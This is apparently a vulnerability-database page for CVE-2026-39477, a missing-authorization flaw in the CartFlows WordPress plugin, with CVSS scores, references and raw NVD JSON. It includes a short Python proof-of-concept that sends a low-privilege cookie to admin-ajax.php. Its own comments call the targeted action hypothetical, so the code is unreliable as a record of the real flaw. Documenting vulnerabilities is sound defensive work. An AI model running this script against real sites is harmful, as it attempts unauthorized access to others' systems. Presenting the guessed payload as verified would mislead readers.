CVE-2026-39477

Description

Missing Authorization vulnerability in Brainstorm Force CartFlows cartflows allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects CartFlows: from n/a through <= 2.2.3.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

CartFlows <= 2.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests

def exploit_missing_auth(target_url, admin_ajax, cookie):
    """
    PoC for CVE-2026-39477: Missing Authorization in CartFlows
    Demonstrates accessing a restricted endpoint with low privileges.
    """
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": cookie
    }
    
    # Hypothetical payload based on similar WordPress plugin vulnerabilities
    # The specific action parameter needs to be derived from plugin source code
    payload = {
        "action": "cartflows_get_step_data",  # Example vulnerable action
        "step_id": "1"
    }

    try:
        response = requests.post(f"{target_url}/{admin_ajax}", headers=headers, data=payload)
        if response.status_code == 200 and "step_data" in response.text:
            print("[+] Exploit successful! Authorization bypassed.")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print("[-] Exploit failed or endpoint not vulnerable.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    # Replace with actual target details
    target = "http://target-wordpress-site.com"
    endpoint = "wp-admin/admin-ajax.php"
    # Cookie of a low-privileged user (Subscriber)
    session_cookie = "wordpress_logged_in_xxx=..."
    exploit_missing_auth(target, endpoint, session_cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39477
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39477
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39477/
[4] VulDB https://vuldb.com/cve/CVE-2026-39477
[5] https://patchstack.com/database/Wordpress/Plugin/cartflows/vulnerability/wordpress-cartflows-plugin-2-2-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39477", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:22.527", "lastModified": "2026-04-29T10:17:24.143", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Brainstorm Force CartFlows cartflows allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects CartFlows: from n/a through <= 2.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cartflows/vulnerability/wordpress-cartflows-plugin-2-2-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}